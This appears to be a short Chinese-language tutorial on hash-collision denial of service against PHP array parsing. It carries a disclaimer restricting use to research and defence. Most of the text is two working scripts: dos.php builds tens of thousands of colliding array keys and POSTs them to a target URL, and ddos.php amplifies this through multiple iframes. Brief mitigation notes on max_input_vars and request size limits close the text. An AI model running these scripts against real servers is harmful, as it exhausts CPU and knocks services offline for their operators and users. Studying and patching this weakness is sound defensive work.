本文內容**僅供學術研究與防禦學習使用**,嚴禁用於任何非法攻擊行為。請遵守當地法律法規,勿對未授權系統進行測試。
PHP(以及 Java、Python 等語言)的雜湊表實現若未做隨機種子防護,攻擊者可構造大量鍵值碰撞的陣列參數(POST body)。伺服器解析陣列時,因所有鍵落入同一雜湊桶,導致插入/查找退化為 O(n²) 線性掃描,**耗盡 CPU 資源**,造成拒絕服務。
dos.php<?php
$host = 'https://127.0.0.1/test.php'; // 目標端點
$data = '';
$size = pow(2, 15); // 32768
for ($key = 0, $max = ($size - 1) * $size; $key <= $max; $key += $size) {
$data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data, '&'));
var_dump($ret);
function curl($url, $post, $timeout = 30) {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $timeout,
CURLOPT_CONNECTTIMEOUT => $timeout - 5,
CURLOPT_HTTPHEADER => ['Expect:'],
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post,
]);
$output = curl_exec($ch);
if ($output === false) return false;
$info = curl_getinfo($ch);
if ($info['http_code'] == 404) return false;
curl_close($ch);
return $output;
}
?>
ddos.php<!DOCTYPE html>
<html><head><meta charset="gb2312"><title>DDOS Test</title></head><body>
<?php for ($i = 0; $i < 5; $i++): ?>
<iframe src="dos.php?a=<?php echo $i; ?>" scrolling="false" frameborder="1" style="background:transparent;"></iframe>
<?php endfor; ?>
</body></html>
max_input_vars 限制輸入變數總數(預設 1000)。max_input_vars:在 php.ini 中依業務需求調降,如 max_input_vars = 500。client_max_body_size、Apache LimitRequestBody。修補後,相同攻擊負載應回傳 Warning: Unknown: Input variables exceeded 1000 並拒絕處理,CPU 佔用維持正常。